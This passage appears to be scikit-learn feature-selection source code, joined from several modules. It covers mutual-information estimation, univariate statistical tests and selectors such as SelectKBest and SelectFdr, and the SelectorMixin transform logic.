    mi = (digamma(n_samples) + np.mean(digamma(k_all)) -
          np.mean(digamma(label_counts)) -
          np.mean(digamma(m_all + 1)))

    return max(0, mi)


def _compute_mi(x, y, x_discrete, y_discrete, n_neighbors=3):
    """Compute mutual information between two variables.

    This is a simple wrapper which selects a proper function to call based on
    whether `x` and `y` are discrete or not.
    """
    if x_discrete and y_discrete:
        return mutual_info_score(x, y)
    elif x_discrete and not y_discrete:
        return _compute_mi_cd(y, x, n_neighbors)
    elif not x_discrete and y_discrete:
        return _compute_mi_cd(x, y, n_neighbors)
    else:
        return _compute_mi_cc(x, y, n_neighbors)


def _iterate_columns(X, columns=None):
    """Iterate over columns of a matrix.

    Parameters
    ----------
    X : ndarray or csc_matrix, shape (n_samples, n_features)
        Matrix over which to iterate.

    columns : iterable or None, default None
        Indices of columns to iterate over. If None, iterate over all columns.

    Yields
    ------
    x : ndarray, shape (n_samples,)
        Columns of `X` in dense format.
    """
    if columns is None:
        columns = range(X.shape[1])

    if issparse(X):
        for i in columns:
            x = np.zeros(X.shape[0])
            start_ptr, end_ptr = X.indptr[i], X.indptr[i + 1]
            x[X.indices[start_ptr:end_ptr]] = X.data[start_ptr:end_ptr]
            yield x
    else:
        for i in columns:
            yield X[:, i]


def _estimate_mi(X, y, discrete_features='auto', discrete_target=False,
                 n_neighbors=3, copy=True, random_state=None):
    """Estimate mutual information between the features and the target.

    Parameters
    ----------
    X : array_like or sparse matrix, shape (n_samples, n_features)
        Feature matrix.

    y : array_like, shape (n_samples,)
        Target vector.

    discrete_features : {'auto', bool, array_like}, default 'auto'
        If bool, then determines whether to consider all features discrete
        or continuous. If array, then it should be either a boolean mask
        with shape (n_features,) or array with indices of discrete features.
        If 'auto', it is assigned to False for dense `X` and to True for
        sparse `X`.

    discrete_target : bool, default False
        Whether to consider `y` as a discrete variable.

    n_neighbors : int, default 3
        Number of neighbors to use for MI estimation for continuous variables,
        see [1]_ and [2]_. Higher values reduce variance of the estimation, but
        could introduce a bias.

    copy : bool, default True
        Whether to make a copy of the given data. If set to False, the initial
        data will be overwritten.

    random_state : int seed, RandomState instance or None, default None
        The seed of the pseudo random number generator for adding small noise
        to continuous variables in order to remove repeated values.

    Returns
    -------
    mi : ndarray, shape (n_features,)
        Estimated mutual information between each feature and the target.
        A negative value will be replaced by 0.

    References
    ----------
    .. [1] A. Kraskov, H. Stogbauer and P. Grassberger, "Estimating mutual
           information". Phys. Rev. E 69, 2004.
    .. [2] B. C. Ross "Mutual Information between Discrete and Continuous
           Data Sets". PLoS ONE 9(2), 2014.
    """
    X, y = check_X_y(X, y, accept_sparse='csc', y_numeric=not discrete_target)
    n_samples, n_features = X.shape

    if discrete_features == 'auto':
        discrete_features = issparse(X)

    if isinstance(discrete_features, bool):
        discrete_mask = np.empty(n_features, dtype=bool)
        discrete_mask.fill(discrete_features)
    else:
        discrete_features = np.asarray(discrete_features)
        if discrete_features.dtype != 'bool':
            discrete_mask = np.zeros(n_features, dtype=bool)
            discrete_mask[discrete_features] = True
        else:
            discrete_mask = discrete_features

    continuous_mask = ~discrete_mask
    if np.any(continuous_mask) and issparse(X):
        raise ValueError("Sparse matrix `X` can't have continuous features.")

    rng = check_random_state(random_state)
    if np.any(continuous_mask):
        if copy:
            X = X.copy()

        if not discrete_target:
            X[:, continuous_mask] = scale(X[:, continuous_mask],
                                          with_mean=False, copy=False)

        # Add small noise to continuous features as advised in Kraskov et. al.
        X = X.astype(float)
        means = np.maximum(1, np.mean(np.abs(X[:, continuous_mask]), axis=0))
        X[:, continuous_mask] += 1e-10 * means * rng.randn(
                n_samples, np.sum(continuous_mask))

    if not discrete_target:
        y = scale(y, with_mean=False)
        y += 1e-10 * np.maximum(1, np.mean(np.abs(y))) * rng.randn(n_samples)

    mi = [_compute_mi(x, y, discrete_feature, discrete_target) for
          x, discrete_feature in moves.zip(_iterate_columns(X), discrete_mask)]

    return np.array(mi)


def mutual_info_regression(X, y, discrete_features='auto', n_neighbors=3,
                           copy=True, random_state=None):
    """Estimate mutual information for a continuous target variable.

    Mutual information (MI) [1]_ between two random variables is a non-negative
    value, which measures the dependency between the variables. It is equal
    to zero if and only if two random variables are independent, and higher
    values mean higher dependency.

    The function relies on nonparametric methods based on entropy estimation
    from k-nearest neighbors distances as described in [2]_ and [3]_. Both
    methods are based on the idea originally proposed in [4]_.

    It can be used for univariate features selection, read more in the
    :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    X : array_like or sparse matrix, shape (n_samples, n_features)
        Feature matrix.

    y : array_like, shape (n_samples,)
        Target vector.

    discrete_features : {'auto', bool, array_like}, default 'auto'
        If bool, then determines whether to consider all features discrete
        or continuous. If array, then it should be either a boolean mask
        with shape (n_features,) or array with indices of discrete features.
        If 'auto', it is assigned to False for dense `X` and to True for
        sparse `X`.

    n_neighbors : int, default 3
        Number of neighbors to use for MI estimation for continuous variables,
        see [2]_ and [3]_. Higher values reduce variance of the estimation, but
        could introduce a bias.

    copy : bool, default True
        Whether to make a copy of the given data. If set to False, the initial
        data will be overwritten.

    random_state : int seed, RandomState instance or None, default None
        The seed of the pseudo random number generator for adding small noise
        to continuous variables in order to remove repeated values.

    Returns
    -------
    mi : ndarray, shape (n_features,)
        Estimated mutual information between each feature and the target.

    Notes
    -----
    1. The term "discrete features" is used instead of naming them
       "categorical", because it describes the essence more accurately.
       For example, pixel intensities of an image are discrete features
       (but hardly categorical) and you will get better results if mark them
       as such. Also note, that treating a continuous variable as discrete and
       vice versa will usually give incorrect results, so be attentive about that.
    2. True mutual information can't be negative. If its estimate turns out
       to be negative, it is replaced by zero.

    References
    ----------
    .. [1] `Mutual Information <https://en.wikipedia.org/wiki/Mutual_information>`_
           on Wikipedia.
    .. [2] A. Kraskov, H. Stogbauer and P. Grassberger, "Estimating mutual
           information". Phys. Rev. E 69, 2004.
    .. [3] B. C. Ross "Mutual Information between Discrete and Continuous
           Data Sets". PLoS ONE 9(2), 2014.
    .. [4] L. F. Kozachenko, N. N. Leonenko, "Sample Estimate of the Entropy
           of a Random Vector", Probl. Peredachi Inf., 23:2 (1987), 9-16
    """
    return _estimate_mi(X, y, discrete_features, False, n_neighbors,
                        copy, random_state)


def mutual_info_classif(X, y, discrete_features='auto', n_neighbors=3,
                        copy=True, random_state=None):
    """Estimate mutual information for a discrete target variable.

    Mutual information (MI) [1]_ between two random variables is a non-negative
    value, which measures the dependency between the variables. It is equal
    to zero if and only if two random variables are independent, and higher
    values mean higher dependency.

    The function relies on nonparametric methods based on entropy estimation
    from k-nearest neighbors distances as described in [2]_ and [3]_. Both
    methods are based on the idea originally proposed in [4]_.

    It can be used for univariate features selection, read more in the
    :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    X : array_like or sparse matrix, shape (n_samples, n_features)
        Feature matrix.

    y : array_like, shape (n_samples,)
        Target vector.

    discrete_features : {'auto', bool, array_like}, default 'auto'
        If bool, then determines whether to consider all features discrete
        or continuous. If array, then it should be either a boolean mask
        with shape (n_features,) or array with indices of discrete features.
        If 'auto', it is assigned to False for dense `X` and to True for
        sparse `X`.

    n_neighbors : int, default 3
        Number of neighbors to use for MI estimation for continuous variables,
        see [2]_ and [3]_. Higher values reduce variance of the estimation, but
        could introduce a bias.

    copy : bool, default True
        Whether to make a copy of the given data. If set to False, the initial
        data will be overwritten.

    random_state : int seed, RandomState instance or None, default None
        The seed of the pseudo random number generator for adding small noise
        to continuous variables in order to remove repeated values.

    Returns
    -------
    mi : ndarray, shape (n_features,)
        Estimated mutual information between each feature and the target.

    Notes
    -----
    1. The term "discrete features" is used instead of naming them
       "categorical", because it describes the essence more accurately.
       For example, pixel intensities of an image are discrete features
       (but hardly categorical) and you will get better results if mark them
       as such. Also note, that treating a continuous variable as discrete and
       vice versa will usually give incorrect results, so be attentive about that.
    2. True mutual information can't be negative. If its estimate turns out
       to be negative, it is replaced by zero.

    References
    ----------
    .. [1] `Mutual Information <https://en.wikipedia.org/wiki/Mutual_information>`_
           on Wikipedia.
    .. [2] A. Kraskov, H. Stogbauer and P. Grassberger, "Estimating mutual
           information". Phys. Rev. E 69, 2004.
    .. [3] B. C. Ross "Mutual Information between Discrete and Continuous
           Data Sets". PLoS ONE 9(2), 2014.
    .. [4] L. F. Kozachenko, N. N. Leonenko, "Sample Estimate of the Entropy
           of a Random Vector:, Probl. Peredachi Inf., 23:2 (1987), 9-16
    """
    check_classification_targets(y)
    return _estimate_mi(X, y, discrete_features, True, n_neighbors,
                        copy, random_state)






"""Univariate features selection."""

# Authors: V. Michel, B. Thirion, G. Varoquaux, A. Gramfort, E. Duchesnay.
#          L. Buitinck, A. Joly
# License: BSD 3 clause


import numpy as np
import warnings

from scipy import special, stats
from scipy.sparse import issparse

from ..base import BaseEstimator
from ..preprocessing import LabelBinarizer
from ..utils import (as_float_array, check_array, check_X_y, safe_sqr,
                     safe_mask)
from ..utils.extmath import norm, safe_sparse_dot, row_norms
from ..utils.validation import check_is_fitted
from .base import SelectorMixin


def _clean_nans(scores):
    """
    Fixes Issue #1240: NaNs can't be properly compared, so change them to the
    smallest value of scores's dtype. -inf seems to be unreliable.
    """
    # XXX where should this function be called? fit? scoring functions
    # themselves?
    scores = as_float_array(scores, copy=True)
    scores[np.isnan(scores)] = np.finfo(scores.dtype).min
    return scores


######################################################################
# Scoring functions


# The following function is a rewriting of scipy.stats.f_oneway
# Contrary to the scipy.stats.f_oneway implementation it does not
# copy the data while keeping the inputs unchanged.
def f_oneway(*args):
    """Performs a 1-way ANOVA.

    The one-way ANOVA tests the null hypothesis that 2 or more groups have
    the same population mean. The test is applied to samples from two or
    more groups, possibly with differing sizes.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    sample1, sample2, ... : array_like, sparse matrices
        The sample measurements should be given as arguments.

    Returns
    -------
    F-value : float
        The computed F-value of the test.
    p-value : float
        The associated p-value from the F-distribution.

    Notes
    -----
    The ANOVA test has important assumptions that must be satisfied in order
    for the associated p-value to be valid.

    1. The samples are independent
    2. Each sample is from a normally distributed population
    3. The population standard deviations of the groups are all equal. This
       property is known as homoscedasticity.

    If these assumptions are not true for a given set of data, it may still be
    possible to use the Kruskal-Wallis H-test (`scipy.stats.kruskal`_) although
    with some loss of power.

    The algorithm is from Heiman[2], pp.394-7.

    See ``scipy.stats.f_oneway`` that should give the same results while
    being less efficient.

    References
    ----------

    .. [1] Lowry, Richard.  "Concepts and Applications of Inferential
           Statistics". Chapter 14.
           http://faculty.vassar.edu/lowry/ch14pt1.html

    .. [2] Heiman, G.W.  Research Methods in Statistics. 2002.

    """
    n_classes = len(args)
    args = [as_float_array(a) for a in args]
    n_samples_per_class = np.array([a.shape[0] for a in args])
    n_samples = np.sum(n_samples_per_class)
    ss_alldata = sum(safe_sqr(a).sum(axis=0) for a in args)
    sums_args = [np.asarray(a.sum(axis=0)) for a in args]
    square_of_sums_alldata = sum(sums_args) ** 2
    square_of_sums_args = [s ** 2 for s in sums_args]
    sstot = ss_alldata - square_of_sums_alldata / float(n_samples)
    ssbn = 0.
    for k, _ in enumerate(args):
        ssbn += square_of_sums_args[k] / n_samples_per_class[k]
    ssbn -= square_of_sums_alldata / float(n_samples)
    sswn = sstot - ssbn
    dfbn = n_classes - 1
    dfwn = n_samples - n_classes
    msb = ssbn / float(dfbn)
    msw = sswn / float(dfwn)
    constant_features_idx = np.where(msw == 0.)[0]
    if (np.nonzero(msb)[0].size != msb.size and constant_features_idx.size):
        warnings.warn("Features %s are constant." % constant_features_idx,
                      UserWarning)
    f = msb / msw
    # flatten matrix to vector in sparse case
    f = np.asarray(f).ravel()
    prob = special.fdtrc(dfbn, dfwn, f)
    return f, prob


def f_classif(X, y):
    """Compute the ANOVA F-value for the provided sample.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    X : {array-like, sparse matrix} shape = [n_samples, n_features]
        The set of regressors that will be tested sequentially.

    y : array of shape(n_samples)
        The data matrix.

    Returns
    -------
    F : array, shape = [n_features,]
        The set of F values.

    pval : array, shape = [n_features,]
        The set of p-values.

    See also
    --------
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    """
    X, y = check_X_y(X, y, ['csr', 'csc', 'coo'])
    args = [X[safe_mask(X, y == k)] for k in np.unique(y)]
    return f_oneway(*args)


def _chisquare(f_obs, f_exp):
    """Fast replacement for scipy.stats.chisquare.

    Version from https://github.com/scipy/scipy/pull/2525 with additional
    optimizations.
    """
    f_obs = np.asarray(f_obs, dtype=np.float64)

    k = len(f_obs)
    # Reuse f_obs for chi-squared statistics
    chisq = f_obs
    chisq -= f_exp
    chisq **= 2
    with np.errstate(invalid="ignore"):
        chisq /= f_exp
    chisq = chisq.sum(axis=0)
    return chisq, special.chdtrc(k - 1, chisq)


def chi2(X, y):
    """Compute chi-squared stats between each non-negative feature and class.

    This score can be used to select the n_features features with the
    highest values for the test chi-squared statistic from X, which must
    contain only non-negative features such as booleans or frequencies
    (e.g., term counts in document classification), relative to the classes.

    Recall that the chi-square test measures dependence between stochastic
    variables, so using this function "weeds out" the features that are the
    most likely to be independent of class and therefore irrelevant for
    classification.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape = (n_samples, n_features_in)
        Sample vectors.

    y : array-like, shape = (n_samples,)
        Target vector (class labels).

    Returns
    -------
    chi2 : array, shape = (n_features,)
        chi2 statistics of each feature.
    pval : array, shape = (n_features,)
        p-values of each feature.

    Notes
    -----
    Complexity of this algorithm is O(n_classes * n_features).

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    """

    # XXX: we might want to do some of the following in logspace instead for
    # numerical stability.
    X = check_array(X, accept_sparse='csr')
    if np.any((X.data if issparse(X) else X) < 0):
        raise ValueError("Input X must be non-negative.")

    Y = LabelBinarizer().fit_transform(y)
    if Y.shape[1] == 1:
        Y = np.append(1 - Y, Y, axis=1)

    observed = safe_sparse_dot(Y.T, X)          # n_classes * n_features

    feature_count = X.sum(axis=0).reshape(1, -1)
    class_prob = Y.mean(axis=0).reshape(1, -1)
    expected = np.dot(class_prob.T, feature_count)

    return _chisquare(observed, expected)


def f_regression(X, y, center=True):
    """Univariate linear regression tests.

    Quick linear model for testing the effect of a single regressor,
    sequentially for many regressors.

    This is done in 2 steps:

    1. The cross correlation between each regressor and the target is computed,
       that is, ((X[:, i] - mean(X[:, i])) * (y - mean_y)) / (std(X[:, i]) *
       std(y)).
    2. It is converted to an F score then to a p-value.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}  shape = (n_samples, n_features)
        The set of regressors that will be tested sequentially.

    y : array of shape(n_samples).
        The data matrix

    center : True, bool,
        If true, X and y will be centered.

    Returns
    -------
    F : array, shape=(n_features,)
        F values of features.

    pval : array, shape=(n_features,)
        p-values of F-scores.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    """
    if issparse(X) and center:
        raise ValueError("center=True only allowed for dense data")
    X, y = check_X_y(X, y, ['csr', 'csc', 'coo'], dtype=np.float64)
    if center:
        y = y - np.mean(y)
        X = X.copy('F')  # faster in fortran
        X -= X.mean(axis=0)

    # compute the correlation
    corr = safe_sparse_dot(y, X)
    corr /= row_norms(X.T)
    corr /= norm(y)

    # convert to p-value
    degrees_of_freedom = y.size - (2 if center else 1)
    F = corr ** 2 / (1 - corr ** 2) * degrees_of_freedom
    pv = stats.f.sf(F, 1, degrees_of_freedom)
    return F, pv


######################################################################
# Base classes

class _BaseFilter(BaseEstimator, SelectorMixin):
    """Initialize the univariate feature selection.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues) or a single array with scores.
    """

    def __init__(self, score_func):
        self.score_func = score_func

    def fit(self, X, y):
        """Run score function on (X, y) and get the appropriate features.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            The training input samples.

        y : array-like, shape = [n_samples]
            The target values (class labels in classification, real numbers in
            regression).

        Returns
        -------
        self : object
            Returns self.
        """
        X, y = check_X_y(X, y, ['csr', 'csc'])

        if not callable(self.score_func):
            raise TypeError("The score function should be a callable, %s (%s) "
                            "was passed."
                            % (self.score_func, type(self.score_func)))

        self._check_params(X, y)
        score_func_ret = self.score_func(X, y)
        if isinstance(score_func_ret, (list, tuple)):
            self.scores_, self.pvalues_ = score_func_ret
            self.pvalues_ = np.asarray(self.pvalues_)
        else:
            self.scores_ = score_func_ret
            self.pvalues_ = None

        self.scores_ = np.asarray(self.scores_)

        return self

    def _check_params(self, X, y):
        pass


######################################################################
# Specific filters
######################################################################
class SelectPercentile(_BaseFilter):
    """Select features according to a percentile of the highest scores.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues) or a single array with scores.
        Default is f_classif (see below "See also"). The default function only
        works with classification tasks.

    percentile : int, optional, default=10
        Percent of features to keep.

    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores, None if `score_func` returned only scores.

    Notes
    -----
    Ties between features with equal scores will be broken in an unspecified
    way.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    mutual_info_classif: Mutual information for a discrete target.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    mutual_info_regression: Mutual information for a continuous target.
    SelectKBest: Select features based on the k highest scores.
    SelectFpr: Select features based on a false positive rate test.
    SelectFdr: Select features based on an estimated false discovery rate.
    SelectFwe: Select features based on family-wise error rate.
    GenericUnivariateSelect: Univariate feature selector with configurable mode.
    """

    def __init__(self, score_func=f_classif, percentile=10):
        super(SelectPercentile, self).__init__(score_func)
        self.percentile = percentile

    def _check_params(self, X, y):
        if not 0 <= self.percentile <= 100:
            raise ValueError("percentile should be >=0, <=100; got %r"
                             % self.percentile)

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        # Cater for NaNs
        if self.percentile == 100:
            return np.ones(len(self.scores_), dtype=np.bool)
        elif self.percentile == 0:
            return np.zeros(len(self.scores_), dtype=np.bool)

        scores = _clean_nans(self.scores_)
        treshold = stats.scoreatpercentile(scores,
                                           100 - self.percentile)
        mask = scores > treshold
        ties = np.where(scores == treshold)[0]
        if len(ties):
            max_feats = int(len(scores) * self.percentile / 100)
            kept_ties = ties[:max_feats - mask.sum()]
            mask[kept_ties] = True
        return mask


class SelectKBest(_BaseFilter):
    """Select features according to the k highest scores.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues) or a single array with scores.
        Default is f_classif (see below "See also"). The default function only
        works with classification tasks.

    k : int or "all", optional, default=10
        Number of top features to select.
        The "all" option bypasses selection, for use in a parameter search.

    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores, None if `score_func` returned only scores.

    Notes
    -----
    Ties between features with equal scores will be broken in an unspecified
    way.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    mutual_info_classif: Mutual information for a discrete target.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    mutual_info_regression: Mutual information for a continious target.
    SelectPercentile: Select features based on percentile of the highest scores.
    SelectFpr: Select features based on a false positive rate test.
    SelectFdr: Select features based on an estimated false discovery rate.
    SelectFwe: Select features based on family-wise error rate.
    GenericUnivariateSelect: Univariate feature selector with configurable mode.
    """

    def __init__(self, score_func=f_classif, k=10):
        super(SelectKBest, self).__init__(score_func)
        self.k = k

    def _check_params(self, X, y):
        if not (self.k == "all" or 0 <= self.k <= X.shape[1]):
            raise ValueError("k should be >=0, <= n_features; got %r."
                             "Use k='all' to return all features."
                             % self.k)

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        if self.k == 'all':
            return np.ones(self.scores_.shape, dtype=bool)
        elif self.k == 0:
            return np.zeros(self.scores_.shape, dtype=bool)
        else:
            scores = _clean_nans(self.scores_)
            mask = np.zeros(scores.shape, dtype=bool)

            # Request a stable sort. Mergesort takes more memory (~40MB per
            # megafeature on x86-64).
            mask[np.argsort(scores, kind="mergesort")[-self.k:]] = 1
            return mask


class SelectFpr(_BaseFilter):
    """Filter: Select the pvalues below alpha based on a FPR test.

    FPR test stands for False Positive Rate test. It controls the total
    amount of false detections.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues).
        Default is f_classif (see below "See also"). The default function only
        works with classification tasks.

    alpha : float, optional
        The highest p-value for features to be kept.

    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    mutual_info_classif:
    f_regression: F-value between label/feature for regression tasks.
    mutual_info_regression: Mutual information between features and the target.
    SelectPercentile: Select features based on percentile of the highest scores.
    SelectKBest: Select features based on the k highest scores.
    SelectFdr: Select features based on an estimated false discovery rate.
    SelectFwe: Select features based on family-wise error rate.
    GenericUnivariateSelect: Univariate feature selector with configurable mode.
    """

    def __init__(self, score_func=f_classif, alpha=5e-2):
        super(SelectFpr, self).__init__(score_func)
        self.alpha = alpha

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        return self.pvalues_ < self.alpha


class SelectFdr(_BaseFilter):
    """Filter: Select the p-values for an estimated false discovery rate

    This uses the Benjamini-Hochberg procedure. ``alpha`` is an upper bound
    on the expected false discovery rate.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues).
        Default is f_classif (see below "See also"). The default function only
        works with classification tasks.

    alpha : float, optional
        The highest uncorrected p-value for features to keep.


    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores.

    References
    ----------
    https://en.wikipedia.org/wiki/False_discovery_rate

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    mutual_info_classif: Mutual information for a discrete target.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    mutual_info_regression: Mutual information for a contnuous target.
    SelectPercentile: Select features based on percentile of the highest scores.
    SelectKBest: Select features based on the k highest scores.
    SelectFpr: Select features based on a false positive rate test.
    SelectFwe: Select features based on family-wise error rate.
    GenericUnivariateSelect: Univariate feature selector with configurable mode.
    """

    def __init__(self, score_func=f_classif, alpha=5e-2):
        super(SelectFdr, self).__init__(score_func)
        self.alpha = alpha

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        n_features = len(self.pvalues_)
        sv = np.sort(self.pvalues_)
        selected = sv[sv <= float(self.alpha) / n_features
                      * np.arange(n_features)]
        if selected.size == 0:
            return np.zeros_like(self.pvalues_, dtype=bool)
        return self.pvalues_ <= selected.max()


class SelectFwe(_BaseFilter):
    """Filter: Select the p-values corresponding to Family-wise error rate

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues).
        Default is f_classif (see below "See also"). The default function only
        works with classification tasks.

    alpha : float, optional
        The highest uncorrected p-value for features to keep.

    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    SelectPercentile: Select features based on percentile of the highest scores.
    SelectKBest: Select features based on the k highest scores.
    SelectFpr: Select features based on a false positive rate test.
    SelectFdr: Select features based on an estimated false discovery rate.
    GenericUnivariateSelect: Univariate feature selector with configurable mode.
    """

    def __init__(self, score_func=f_classif, alpha=5e-2):
        super(SelectFwe, self).__init__(score_func)
        self.alpha = alpha

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        return (self.pvalues_ < self.alpha / len(self.pvalues_))


######################################################################
# Generic filter
######################################################################

# TODO this class should fit on either p-values or scores,
# depending on the mode.
class GenericUnivariateSelect(_BaseFilter):
    """Univariate feature selector with configurable strategy.

    Read more in the :ref:`User Guide <univariate_feature_selection>`.

    Parameters
    ----------
    score_func : callable
        Function taking two arrays X and y, and returning a pair of arrays
        (scores, pvalues). For modes 'percentile' or 'kbest' it can return
        a single array scores.

    mode : {'percentile', 'k_best', 'fpr', 'fdr', 'fwe'}
        Feature selection mode.

    param : float or int depending on the feature selection mode
        Parameter of the corresponding mode.

    Attributes
    ----------
    scores_ : array-like, shape=(n_features,)
        Scores of features.

    pvalues_ : array-like, shape=(n_features,)
        p-values of feature scores, None if `score_func` returned scores only.

    See also
    --------
    f_classif: ANOVA F-value between label/feature for classification tasks.
    mutual_info_classif: Mutual information for a discrete target.
    chi2: Chi-squared stats of non-negative features for classification tasks.
    f_regression: F-value between label/feature for regression tasks.
    mutual_info_regression: Mutual information for a continuous target.
    SelectPercentile: Select features based on percentile of the highest scores.
    SelectKBest: Select features based on the k highest scores.
    SelectFpr: Select features based on a false positive rate test.
    SelectFdr: Select features based on an estimated false discovery rate.
    SelectFwe: Select features based on family-wise error rate.
    """

    _selection_modes = {'percentile': SelectPercentile,
                        'k_best': SelectKBest,
                        'fpr': SelectFpr,
                        'fdr': SelectFdr,
                        'fwe': SelectFwe}

    def __init__(self, score_func=f_classif, mode='percentile', param=1e-5):
        super(GenericUnivariateSelect, self).__init__(score_func)
        self.mode = mode
        self.param = param

    def _make_selector(self):
        selector = self._selection_modes[self.mode](score_func=self.score_func)

        # Now perform some acrobatics to set the right named parameter in
        # the selector
        possible_params = selector._get_param_names()
        possible_params.remove('score_func')
        selector.set_params(**{possible_params[0]: self.param})

        return selector

    def _check_params(self, X, y):
        if self.mode not in self._selection_modes:
            raise ValueError("The mode passed should be one of %s, %r,"
                             " (type %s) was passed."
                             % (self._selection_modes.keys(), self.mode,
                                type(self.mode)))

        self._make_selector()._check_params(X, y)

    def _get_support_mask(self):
        check_is_fitted(self, 'scores_')

        selector = self._make_selector()
        selector.pvalues_ = self.pvalues_
        selector.scores_ = self.scores_
        return selector._get_support_mask()






# -*- coding: utf-8 -*-
"""Generic feature selection mixin"""

# Authors: G. Varoquaux, A. Gramfort, L. Buitinck, J. Nothman
# License: BSD 3 clause

from abc import ABCMeta, abstractmethod
from warnings import warn

import numpy as np
from scipy.sparse import issparse, csc_matrix

from ..base import TransformerMixin
from ..utils import check_array, safe_mask
from ..externals import six


class SelectorMixin(six.with_metaclass(ABCMeta, TransformerMixin)):
    """
    Tranformer mixin that performs feature selection given a support mask

    This mixin provides a feature selector implementation with `transform` and
    `inverse_transform` functionality given an implementation of
    `_get_support_mask`.
    """

    def get_support(self, indices=False):
        """
        Get a mask, or integer index, of the features selected

        Parameters
        ----------
        indices : boolean (default False)
            If True, the return value will be an array of integers, rather
            than a boolean mask.

        Returns
        -------
        support : array
            An index that selects the retained features from a feature vector.
            If `indices` is False, this is a boolean array of shape
            [# input features], in which an element is True iff its
            corresponding feature is selected for retention. If `indices` is
            True, this is an integer array of shape [# output features] whose
            values are indices into the input feature vector.
        """
        mask = self._get_support_mask()
        return mask if not indices else np.where(mask)[0]

    @abstractmethod
    def _get_support_mask(self):
        """
        Get the boolean mask indicating which features are selected

        Returns
        -------
        support : boolean array of shape [# input features]
            An element is True iff its corresponding feature is selected for
            retention.
        """

    def transform(self, X):
        """Reduce X to the selected features.

        Parameters
        ----------
        X : array of shape [n_samples, n_features]
            The input samples.

        Returns
        -------
        X_r : array of shape [n_samples, n_selected_features]
            The input samples with only the selected features.
        """
        X = check_array(X, accept_sparse='csr')
        mask = self.get_support()
        if not mask.any():
            warn("No features were selected: either the data is"
                 " too noisy or the selection test too strict.",
                 UserWarning)
            return np.empty(0).reshape((X.shape[0], 0))
        if len(mask) != X.shape[1]:
            raise ValueError("X has a different shape than during fitting.")
        return X[:, safe_mask(X, mask)]

    def inverse_transform(self, X):
        """
        Reverse the transformation operation

        Parameters
        ----------
        X : array of shape [n_samples, n_selected_features]
            The input samples.

        Returns
        -------
        X_r : array of shape [n_samples, n_original_features]
            `X` with columns of zeros inserted where features would have
            been removed by `transform`.
        """
        if issparse(X):
            X = X.tocsc()
            # insert additional entries in indptr:
            # e.g. if transform changed indptr from [0 2 6 7] to [0 2 3]
            # col_nonzeros here will be [2 0 1] so indptr becomes [0 2 2 3]
            it = self.inverse_transform(np.diff(X.indptr).reshape(1, -1))
            col_nonzeros = it.ravel()
            indptr = np.concatenate([[0], np.cumsum(col_nonzeros)])
            Xt = csc_matrix((X.data, X.indices, indptr),
                            shape=(X.shape[0], len(indptr) - 1), dtype=X.dtype)
            return Xt

        support = self.get_support()
        X = check_array(X)
        if support.sum() != X.shape[1]:
            raise ValueError("X has a different shape than during fitting.")

        if X.ndim == 1:
            X = X[None, :]
        Xt = np.zeros((X.shape[0], support.size), dtype=X.dtype)
        Xt[:, support] = X
        return Xt






# Authors: Gilles Louppe, Mathieu Blondel, Maheshakya Wijewardena
# License: BSD 3 clause

import numpy as np

from .base import SelectorMixin
